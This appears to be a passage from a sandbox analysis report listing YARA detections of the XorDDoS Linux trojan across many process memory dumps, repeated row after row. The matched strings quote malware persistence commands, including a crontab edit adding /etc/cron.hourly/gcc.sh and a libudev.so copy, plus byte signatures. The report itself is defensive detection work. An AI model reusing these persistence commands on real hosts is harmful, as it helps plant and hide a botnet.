6321.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6304.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6304.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6304.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6304.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6257.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6257.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6257.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6257.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6435.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6435.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6435.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6435.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6285.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6285.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6285.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6285.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6463.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6463.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6463.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6463.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6423.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6423.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6423.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6423.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6357.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6357.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6357.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6357.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6455.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6455.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6455.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6455.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6339.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6339.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6339.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6339.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6275.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6275.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6275.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6275.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6228.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6228.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6228.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6228.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6333.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6333.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6333.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6333.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6507.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6507.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6507.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6507.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6389.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6389.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6389.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6389.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6316.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6316.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6316.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6316.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6265.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6265.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6265.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6265.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6446.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6446.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6446.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6446.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6353.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6353.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6353.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6353.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6267.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6267.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6267.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6267.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6515.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6515.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6515.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6515.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
Process Memory Space: Di1p3oLnDb.elf PID: 6224	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6224	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0xbab:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0xc6c:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6226	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6226	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0xded:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0xeae:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6227	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6227	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1047:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x1108:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6228	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6228	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1294:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x1355:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6257	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6257	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x211a:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x21db:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6259	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6259	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1df5:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x1eb6:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6262	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6262	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0xba0:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0xc61:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6265	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6265	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1111:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x11d2:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6267	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
